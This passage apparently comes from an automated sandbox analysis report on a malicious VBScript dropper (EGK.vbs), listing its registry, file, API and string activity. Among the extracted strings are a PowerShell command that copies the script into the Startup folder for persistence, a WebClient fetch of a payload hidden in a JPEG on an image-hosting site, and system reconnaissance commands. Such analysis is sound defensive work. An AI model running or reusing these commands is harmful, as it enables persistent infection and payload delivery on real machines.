"ATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "CALLFORATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "RESTRICTEDATTRIBUTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "WANTSFORDISPLAY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "HIDEFOLDERVERBS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: "USEDROPHANDLER"; Value: "")46:T677,"WScript.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "WScript.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" touched file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGSX67XCXB4RLVIL5ZO0.temp" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10b0c8.TMP" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ LD.vbs" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ LD.vbs" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations"47:T7e1,"WScript.exe" trying to access non-existent file "IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&2848384c&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WSCRIPT.EXE.LOCAL" "WScript.exe" trying to access non-existent file "C:\Windows\System32\cmd.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:ZONE.IDENTIFIER" "powershell.exe" trying to access non-existent file "C:\Users\vLdNqEe\AppData\Roaming\Microsoft\desktop.ini" "powershell.exe" trying to access non-existent file "C:\ProgramData\Microsoft\desktop.ini" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.EXE.LOCAL" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\ProgramData\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGSX67XCXB4RLVIL5ZO0.TEMP" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\POWERSHELL.EXE.CONFIG"48:T5f4,Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001464-00000C26-42318378") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00001464-00000C26-43133294") Found reference to API "WinHttpOpenW" (Indicator: "WinHttpOpen"; Source: "00000000-00001464-00000C26-43134128") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00001464-00000C26-44942597") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00001464-00000C26-44943880") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00001464-00000C26-44943880") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00001464-00000C26-44943880") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00001464-00000C26-45458187") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00001464-00000C26-45458187") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00001464-00000C26-45497662") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00001464-00000C26-45497953") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00001464-00000C26-45500843") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00001464-00000C26-45501847")49:T857,Pattern match: "https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf" Pattern match: "https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855" Pattern match: "https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]Q0O0MAhttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0`J2K#QD2%E?]$W_GvCa2j+&|@jY?\zHcyNf" Pattern match: "C.JgU/0$" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0]+Q0O0M+0Ahttp://www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0U00" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0" Pattern match: "www.microsoft.com0" Heuristic match: "uploaddeimagens.com.br" Heuristic match: "%WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni" Heuristic match: "C:\%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe.COM" Heuristic match: "%ALLUSERSPROFILE%\Oracle\Java\javapath\powershell.exe.COM" Heuristic match: "%WINDIR%\system32\powershell.exe.COM" Heuristic match: "%WINDIR%\powershell.exe.COM" Heuristic match: "%WINDIR%\System32\Wbem\powershell.exe.COM" Heuristic match: "ctldl.windowsupdate.com" Heuristic match: "006.cl" Heuristic match: "d.cat" Heuristic match: "se.cat" Heuristic match: "vmmouse.cat" Heuristic match: "vmusbmouse.cat" Heuristic match: "vm3d.cat" Heuristic match: "CatalogFile = vm3d.cat" Heuristic match: "CatalogFile=vmmouse.cat" Heuristic match: "MUsbMouse.SZ" Heuristic match: "musbmouse.cat" Heuristic match: "%VMUsbMouse.Sv" Heuristic match: "mmouse.cat" Heuristic match: "vmci.cat" Heuristic match: ":\Windows\System32\DriverStore\FileRepository\vmusbmouse.inf_amd64_neutral_589bb84d9702f3eb\vmusbmouse.cat" Heuristic match: "ddm.installers.value.name" Heuristic match: "m3d.cat" Heuristic match: "CatalogFile=vmusbmouse.cat"4a:T944,"WScript.exe" called "FindFirstFileW" with parameter C:\EGK.vbs (UID: 00000000-00001268) "WScript.exe" called "FindFirstFileW" with parameter C:\powershell.* (UID: 00000000-00001268) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\powershell.* (UID: 00000000-00001268) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\System\powershell.* (UID: 00000000-00001268) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\powershell.* (UID: 00000000-00001268) "WScript.exe" called "FindFirstFileW" with parameter %ALLUSERSPROFILE%\Oracle\Java\javapath\powershell.* (UID: 00000000-00001268) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\System32\Wbem\powershell.* (UID: 00000000-00001268) "WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\System32\WindowsPowerShell\v1.0\powershell.* (UID: 00000000-00001268) "WScript.exe" called "FindNextFileW" with parameter powershell.exe (UID: 00000000-00001268) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe (UID: 00000000-00002792) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002792) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00002792) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002792) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00002792) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00002792) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00002792) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00002792) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00002792) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00002792) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00002792) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00002792) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI (UID: 00000000-00002792)4b:T48f,Observed string: "llstrKeyPath + "\Ndi\IHVExtensions" For J = 0 to UBound(IHVDetailNames) objReg.GetStringValue HKEY_LOCAL_MACHINE, ihvKeyPath, IHVDetailRegValNames(J), ihvInfo outputFile.WriteLine(IHVDetailNames(J) + " = " + ihvInfo) Next objReg.GetDWordValue HKEY_LOCAL_MACHINE, ihvKeyPath, "AdapterOUI", ihvInfo outputFile.WriteLine("AdapterOUI = " + CSTR(ihvInfo)) outputFile.WriteLine() End If End If Next Set cIycKhveQtlyWzMWKwWbGoDegWcOWDJtImdnRqLhRSUOiGJWsgOCHziyDKObloWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu = WScript.CreateObject( "WScript.Shell" ) cmd = "cmd /c tasklist /svc > " & processes cIycKhveQtlyWzMWKwWbGoDegWcOWDJtImdnRqLhRSUOiGJWsgOCHziyDKObloWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu.Run cmd, 0, True Set objTextFile = FSO.OpenTextFile(processes, 1) strIHVOutput = obj" (Indicator: " tasklist ") in Source: EGK.vbs.bin Observed string: "cmd = "cmd /c tasklist /svc > " & processes" (Indicator: " tasklist ") in Source: EGK.vbs.bin4c:T459,Observed string: "llstrKeyPath + "\Ndi\IHVExtensions" For J = 0 to UBound(IHVDetailNames) objReg.GetStringValue HKEY_LOCAL_MACHINE, ihvKeyPath, IHVDetailRegValNames(J), ihvInfo outputFile.WriteLine(IHVDetailNames(J) + " = " + ihvInfo) Next objReg.GetDWordValue HKEY_LOCAL_MACHINE, ihvKeyPath, "AdapterOUI", ihvInfo outputFile.WriteLine("AdapterOUI = " + CSTR(ihvInfo)) outputFile.WriteLine() End If End If Next Set cIycKhveQtlyWzMWKwWbGoDegWcOWDJtImdnRqLhRSUOiGJWsgOCHziyDKObloWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu = WScript.CreateObject( "WScript.Shell" ) cmd = "cmd /c tasklist /svc > " & processes cIycKhveQtlyWzMWKwWbGoDegWcOWDJtImdnRqLhRSUOiGJWsgOCHziyDKObloWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu.Run cmd, 0, True Set objTextFile = FSO.OpenTextFile(processes, 1) strIHVOutput = obj" [Source: EGK.vbs.bin] Observed string: "cmd = "cmd /c tasklist /svc > " & processes" [Source: EGK.vbs.bin]4d:T964,file/memory contains long string with (Indicator: "sc query"; File: "EGK.vbs.bin") file/memory contains long string with (Indicator: "ipconfig"; File: "EGK.vbs.bin") file/memory contains long string with (Indicator: "ipconfig /all"; File: "EGK.vbs.bin") file/memory contains long string with (Indicator: "reg query"; File: "EGK.vbs.bin") file/memory contains long string with (Indicator: "tasklist"; File: "EGK.vbs.bin") file/memory contains long string with (Indicator: "route"; File: "EGK.vbs.bin") Found string "cmd = "cmd /c sc query wcncsvc >> " & outputFileName" (Indicator: "sc query"; File: "EGK.vbs.bin") Found string "cmd = "cmd /c sc query wlansvc >> " & outputFileName" (Indicator: "sc query"; File: "EGK.vbs.bin") Found string "cmd = "cmd /c sc query eaphost >> " & outputFileName" (Indicator: "sc query"; File: "EGK.vbs.bin") Found string "cmd = "cmd /c sc query fdrespub >> " & outputFileName" (Indicator: "sc query"; File: "EGK.vbs.bin") Found string "cmd = "cmd /c sc query upnphost >> " & outputFileName" (Indicator: "sc query"; File: "EGK.vbs.bin") Found string "WcnInfoFile.WriteLine("+ ipconfig information")" (Indicator: "ipconfig"; File: "EGK.vbs.bin") Found string "cmd = "cmd /c ipconfig /all >> " & outputFileName" (Indicator: "ipconfig"; File: "EGK.vbs.bin") Found string "cmd = "cmd /c ipconfig /all >> " & outputFileName" (Indicator: "ipconfig /all"; File: "EGK.vbs.bin") Found string "cmd = "cmd /c reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wcncsvc\Parameters >> " & outputFileName" (Indicator: "reg query"; File: "EGK.vbs.bin") Found string "cmd = "cmd /c tasklist /svc > " & processes" (Indicator: "tasklist"; File: "EGK.vbs.bin") Found string "RunCmd "echo ROUTE PRINT:", outputFileName" (Indicator: "route"; File: "EGK.vbs.bin") Found string "RunCmd "route print", outputFileName" (Indicator: "route"; File: "EGK.vbs.bin") Found string "RunCmd "echo IPCONFIG /DISPLAYDNS: ", logFileName" (Indicator: "ipconfig"; File: "EGK.vbs.bin") Found string "RunCmd "ipconfig /displaydns", logFileName" (Indicator: "ipconfig"; File: "EGK.vbs.bin") Found string "/c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\EGK.vbs','%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ LD.vbs')"" (Indicator: "ping"; File: "cmd.exe") Found string "ping 127.0.0.1 -n 5" (Indicator: "ping"; File: "PING.EXE")4e:Ta4e,"powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGSX67XCXB4RLVIL5ZO0.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10b0c8.TMP" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.2792.1094503" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.2792.1094503" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\64BIT\SECURITY.CONFIG.CCH.2792.1094565" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CD2OWK1HUKQQ5G5TAJW7.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10ce27.TMP" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.3372.1102225" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.3372.1102225" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\64BIT\SECURITY.CONFIG.CCH.3372.1102287" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\H2XYEND7WCF9PJZ3WQ2E.temp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10e697.TMP" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\Cab186.tmp" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\Tar187.tmp" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\SECURITY.CONFIG.CCH.1464.1108340" with delete access "powershell.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\ENTERPRISESEC.CONFIG.CCH.1464.1108340" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\CLR SECURITY CONFIG\V2.0.50727.312\64BIT\SECURITY.CONFIG.CCH.1464.1108387" with delete access4f:T1764,Found string "\Device\HarddiskVolume2\Windows\Temp\7FC14E57-980C-4445-BD60-8DB3BBCE9418\DismHost.exe" (Indicator: "\Device\"; Source: "00000000-00000612.00000000.79908.00380000.00000004.mdmp, 00000000-00000612.00000001.81290.00380000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\vmusbmouse.inf_amd64_neutral_589bb84d9702f3eb\vmusbmouse.inf" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00380000.00000004.mdmp, 00000000-00000612.00000001.81290.00443000.00000004.mdmp, 00000000-00000612.00000001.81290.0046C000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\vmmouse.inf_amd64_neutral_550f4ea2f87d6cef\vmmouse.inf" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00380000.00000004.mdmp, 00000000-00000612.00000001.81290.0046C000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.003FE000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.003FE000.00000004.mdmp") Found string "doC:\Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_neutral_92fb33e16621b138\vm3d.inf" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.003FE000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_neutral_92fb33e16621b138\vm3d.inf" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.003FE000.00000004.mdmp, 00000000-00000612.00000001.81290.00452000.00000004.mdmp, 00000000-00000612.00000001.81290.0046C000.00000004.mdmp") Found string "$WC:\Windows\System32\DriverStore\FileRepository\vmusbmouse.inf_amd64_neutral_589bb84d9702f3eb\vmusbmouse.inf" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.003FE000.00000004.mdmp") file/memory contains long string with (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00424000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00430000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00430000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00430000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00430000.00000004.mdmp") Found string "DISM Driver Manager: PID=612 Signature status of driver C:\Windows\System32\DriverStore\FileRepository\vmusbmouse.inf_amd64_neutral_589bb84d9702f3eb\vmusbmouse.inf is: SIGNED - CDriverPackage::InitSignatureStatus" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00430000.00000004.mdmp") Found string "PID=612 Driver C:\Windows\System32\DriverStore\FileRepository\vmmouse.inf_amd64_neutral_550f4ea2f87d6cef\vmmouse.inf is boot-critical. - CDriverPackage::FillInPackageDetails" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00439000.00000004.mdmp") Found string ":\Windows\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00439000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\vmusbmouse.inf_amd64_neutral_589bb84d9702f3eb" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00443000.00000004.mdmp, 00000000-00000612.00000001.81290.00452000.00000004.mdmp, 00000000-00000612.00000001.81290.0046C000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository\vmusbmouse.inf_amd64_neutral_589bb84d9702f3eb\vmusbmouse.inf" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00443000.00000004.mdmp, 00000000-00000612.00000001.81290.00452000.00000004.mdmp") Found string "PID=612 Signature status of driver C:\Windows\System32\DriverStore\FileRepository\vmmouse.inf_amd64_neutral_550f4ea2f87d6cef\vmmouse.inf is: SIGNED - CDriverPackage::InitSignatureStatus" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00443000.00000004.mdmp") Found string "PID=612 Signature status of driver C:\Windows\System32\DriverStore\FileRepository\vmusbmouse.inf_amd64_neutral_589bb84d9702f3eb\vmusbmouse.inf is: SIGNED - CDriverPackage::InitSignatureStatus" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00443000.00000004.mdmp, 00000000-00000612.00000001.81290.01570000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_neutral_92fb33e16621b138" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00452000.00000004.mdmp") Found string "doPID=612 Successfully opened driver package file 'C:\Windows\System32\DriverStore\FileRepository\vmusbmouse.inf_amd64_neutral_589bb84d9702f3eb\vmusbmouse.inf'. - CDriverManager::OpenPackageByFile" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00452000.00000004.mdmp") Found string "$WC:\Windows\System32\DriverStore\FileRepository\vm3d.inf_amd64_neutral_92fb33e16621b138\vm3d.inf" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00452000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vmusbmouse.sys" (Indicator: "\drivers\"; Source: "00000000-00000612.00000001.81290.00452000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vmusbmouse.sys" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00452000.00000004.mdmp") Found string "?\C:\Windows\System32\DriverStore\FileRepository\vmusbmouse.inf_amd64_neutral_589bb84d9702f3eb\vmusbmouse.inf" (Indicator: "system32\drivers"; Source: "00000000-00000612.00000001.81290.00452000.00000004.mdmp")50:T1016,Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "InitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "GetSidLengthRequired" (Indicator: "GetSidLengthRequired"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "SetSecurityDescriptorOwner" (Indicator: "SetSecurityDescriptorOwner"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "GetSecurityDescriptorOwner" (Indicator: "GetSecurityDescriptorOwner"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "MakeAbsoluteSD" (Indicator: "MakeAbsoluteSD"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "SetSecurityDescriptorGroup" (Indicator: "SetSecurityDescriptorGroup"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "GetSecurityDescriptorGroup" (Indicator: "GetSecurityDescriptorGroup"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "AddAce" (Indicator: "AddAce"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "IsValidSecurityDescriptor" (Indicator: "IsValidSecurityDescriptor"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API "GetSecurityDescriptorSacl" (Indicator: "GetSecurityDescriptorSacl"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp")51:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: 